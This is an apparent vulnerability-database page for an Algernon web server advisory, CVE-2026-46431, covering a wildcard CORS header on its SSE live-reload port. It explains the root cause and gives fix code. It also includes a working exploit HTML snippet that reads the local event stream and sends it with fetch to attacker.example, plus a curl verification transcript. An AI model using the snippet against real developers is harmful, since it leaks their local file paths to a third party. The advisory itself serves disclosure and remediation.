Skip to main content

Algernon EUVDEUVD-2026-31870

| CVE-2026-46431 MEDIUM
Permissive Cross-domain Security Policy with Untrusted Domains (CWE-942)
2026-05-20 https://github.com/xyproto/algernon GHSA-hw27-4v2q-5qff
4.3
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
4.3 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

Lifecycle Timeline

2
Source Code Evidence Fetched
May 20, 2026 - 16:31 vuln.today
Analysis Generated
May 20, 2026 - 16:31 vuln.today

DescriptionGitHub Advisory

Summary

The SSE event server's Access-Control-Allow-Origin response header was hardcoded to the wildcard * regardless of the caller's Origin. Because EventSource does not preflight and does not send cookies, the wildcard is sufficient to let any third-party page the developer visits open a cross-origin EventSource to the SSE port and read the live filename stream from JavaScript. Combined with the lack of authentication (advisory #2a), no further trickery is required - any tab the developer opens has script-level read access to the stream.

This advisory covers the CORS configuration in isolation. The fix is independent of authentication and bind-address fixes: the wildcard could be replaced with a same-origin echo without touching either.

Details

Root cause - hard-coded "*" passed as the CORS allowed-origin
go
// engine/config.go  (1.17.6, MustServe)
recwatch.EventServer(absdir, "*", ac.eventAddr, ac.defaultEventPath, ac.refreshDuration)

The literal "*" is the second positional argument. The vendored recwatch implementation reflects it verbatim into the response header:

go
// vendor/github.com/xyproto/recwatch/eventserver.go:100-108  (1.17.6)
func GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc {
    return func(w http.ResponseWriter, _ *http.Request) {
        w.Header().Set("Content-Type", "text/event-stream;charset=utf-8")
        w.Header().Set("Cache-Control", "no-cache")
        w.Header().Set("Connection", "keep-alive")
        w.Header().Set("Access-Control-Allow-Origin", allowed)
        ...
    }
}

There is no decision based on the request's Origin header, and no allow-list mechanism - every caller is told their origin is approved.

Why the wildcard is exploitable

EventSource opens a GET request, never sends a preflight, and never carries cookies. The same-origin policy normally still blocks the response body from being read by JavaScript at a different origin - that is the role of Access-Control-Allow-Origin. When the server returns *, the browser permits the cross-origin script to read every message event.

So a developer running algernon -a on their workstation, with the SSE listener at http://127.0.0.1:5553/sse (Windows) or http://0.0.0.0:5553/sse (Linux/macOS), only needs to visit *any* third-party origin in another tab for the following to drain their stream silently:

html
<!doctype html>
<script>
  const s = new EventSource('http://127.0.0.1:5553/sse');
  s.onmessage = e => fetch('https://attacker.example/log?f=' + encodeURIComponent(e.data));
</script>

The exploit is cookie-less and CORS-clean - no SameSite, no third-party-cookie restriction, no preflight challenge applies. The user interaction is "visit a webpage," which UI:R in the CVSS vector reflects.

PoC (against 1.17.6)

bash
# 1. Operator: algernon -a /path/to/project  on Windows; SSE at localhost:5553
# 2. Attacker lures the developer to https://news.example:
#    The page contains the snippet above.
# 3. EventSource opens, browser sends the request; algernon responds with
#    Access-Control-Allow-Origin: *, browser passes message events to the
#    cross-origin script; script ships filenames to attacker.example.

CLI reproduction of the header is identical to advisory #2a's transcript; the relevant evidence is the Access-Control-Allow-Origin: * value in the response, not the body.

Impact

  • Confidentiality: medium. Cross-origin browser-tab read access to the file-change stream, with no server-side knowledge that the read happened.
  • Integrity: none.
  • Availability: none directly (the cross-origin tab does not exhaust resources beyond the user's own browser).

Suggestions to fix

Primary fix - echo a same-origin allow-list instead of *.

go
// vendor/github.com/xyproto/recwatch/eventserver.go -- in GenFileChangeEvents
origin := r.Header.Get("Origin")
if !isAllowedOrigin(origin) {
    http.Error(w, "forbidden", http.StatusForbidden)
    return
}
w.Header().Set("Access-Control-Allow-Origin", origin)
w.Header().Set("Vary", "Origin")

The allowed parameter must change from "*" to an explicit allow-list (or a single canonical server origin) - for example, sseScheme + "://" + ac.serverAddr. With the server's own scheme+host+port in Allow-Origin, a cross-origin request from evil.example is rejected by the browser because the response advertises a different origin.

Defence in depth - drop the legacy dedicated-port code path. Mounting the SSE handler on the main mux instead lets the response omit Access-Control-Allow-Origin entirely (same-origin only by default). The dedicated --eventserver-style path is the only place Access-Control-Allow-Origin is set in the codebase; removing the dedicated path simplifies the surface.

Live verification

$ ./algernon.exe --nodb --httponly --server -a --addr 127.0.0.1:18779 --quiet poc2/site
$ ( curl -sNi --max-time 2 -H "Origin: http://evil.example" http://127.0.0.1:5553/sse > sse.txt &
    sleep 1
    echo "trigger" >> poc2/site/probe.txt
    wait )
$ cat sse.txt
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Cache-Control: no-cache
Connection: keep-alive
Content-Type: text/event-stream;charset=utf-8
...
id: 0
data: C:\Users\xbox\Desktop\VulnTesting\algernon-main\poc-test\poc2\site\probe.txt

The Origin: http://evil.example request header was echoed back as Access-Control-Allow-Origin: * (the wildcard - browsers treat this as "any origin may read"). A cross-origin tab at any URL can run new EventSource("http://<algernon>:5553/sse") and read the stream.

AnalysisAI

Cross-origin read access to Algernon's SSE auto-refresh event server (versions ≤ 1.17.6) allows any web page visited by a developer to silently subscribe to the live file-change stream via a browser-native EventSource. The root cause is a hardcoded wildcard Access-Control-Allow-Origin: * response header in the dedicated SSE port activated by the -a flag, with no origin inspection or allow-list logic present in the vendored recwatch handler. No public exploit identified at time of analysis per KEV absence, though a complete working proof-of-concept - including exploit HTML and curl verification transcript - is published in GHSA-hw27-4v2q-5qff.

Technical ContextAI

Algernon (pkg:go/github.com_xyproto_algernon) is a Go-based web server with a live-reload feature activated by the -a flag. When enabled, it calls recwatch.EventServer in engine/config.go with the literal string "*" as the CORS allowed-origin argument. The vendored implementation in vendor/github.com/xyproto/recwatch/eventserver.go (lines 100-108) reflects that argument directly into the Access-Control-Allow-Origin response header inside GenFileChangeEvents, with no conditional logic based on the incoming request's Origin header and no allow-list mechanism. CWE-942 (Permissive Cross-domain Policy with Untrusted Domains) precisely describes the root cause: the policy grants every origin read access. Because the browser's EventSource API opens a simple GET request - never a preflight, never attaching cookies - the same-origin policy cannot protect the SSE response body once the server explicitly asserts Access-Control-Allow-Origin: *. The SSE port is 5553, bound to 127.0.0.1 on Windows and 0.0.0.0 on Linux/macOS.

RemediationAI

Upgrade Algernon to version 1.17.7, confirmed as the patched release in GHSA-hw27-4v2q-5qff (https://github.com/xyproto/algernon/security/advisories/GHSA-hw27-4v2q-5qff). The correct fix is replacing the hardcoded "*" in engine/config.go with the server's own canonical origin (e.g., sseScheme + "://" + ac.serverAddr) and adding a Vary: Origin response header in GenFileChangeEvents to prevent cache poisoning. As an immediate compensating control for teams that cannot upgrade immediately, avoid running algernon -a while browsing untrusted sites or in shared network environments - this eliminates the UI:R trigger without code changes. On Linux/macOS, restricting the SSE bind address to 127.0.0.1 explicitly (rather than accepting the 0.0.0.0 default) limits exposure to loopback-reachable attackers only, though it does not fix the CORS header itself. A defense-in-depth architectural fix noted in the advisory is mounting the SSE handler on the main application mux rather than a dedicated port, which would eliminate the need for any cross-origin header entirely.

CVE-2024-41657 HIGH POC
8.8 Aug 20

Casdoor is a UI-first Identity and Access Management (IAM) / Single-Sign-On (SSO) platform. Rated high severity (CVSS 8.

CVE-2021-34435 HIGH POC
8.8 Sep 01

In Eclipse Theia 0.3.9 to 1.8.1, the "mini-browser" extension allows a user to preview HTML files in an iframe inside th

CVE-2025-30354 HIGH POC
8.7 Apr 01

Bruno is an open source IDE for exploring and testing APIs. Rated high severity (CVSS 8.7), this vulnerability is no aut

CVE-2024-41659 HIGH POC
8.1 Aug 20

memos is a privacy-first, lightweight note-taking service. Rated high severity (CVSS 8.1), this vulnerability is remotel

CVE-2024-37131 CRITICAL
9.8 Jun 13

SCG Policy Manager, all versions, contains an overly permissive Cross-Origin Resource Policy (CORP) vulnerability. Rated

CVE-2022-26969 CRITICAL
9.8 Dec 26

In Directus before 9.7.0, the default settings of CORS_ORIGIN and CORS_ENABLED are true. Rated critical severity (CVSS 9

CVE-2022-31736 CRITICAL
9.8 Dec 22

A malicious website could have learned the size of a cross-origin resource that supported Range requests. Rated critical

CVE-2026-34449 CRITICAL
9.6 Mar 31

Remote code execution in SiYuan desktop application (versions prior to 3.6.2) allows unauthenticated remote attackers to

CVE-2026-6662 MEDIUM POC
5.5 Apr 20

Permissive CORS policy in ericc-ch copilot-api up to version 0.7.0 allows remote attackers to access the Token Endpoint

CVE-2026-9739 CRITICAL
9.4 May 27

Cross-origin data exposure in Google's MCP Toolbox for Databases stems from the SSE initialization handler unconditional

CVE-2026-61736 CRITICAL
9.3 Jul 15

Cross-origin data theft in LightRAG server versions prior to 1.5.4 allows any malicious website to make authenticated, c

CVE-2026-8948 CRITICAL
9.1 May 19

Same-origin policy bypass in the DOM: Networking component. This vulnerability was fixed in Firefox 151.

Share

EUVD-2026-31870 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy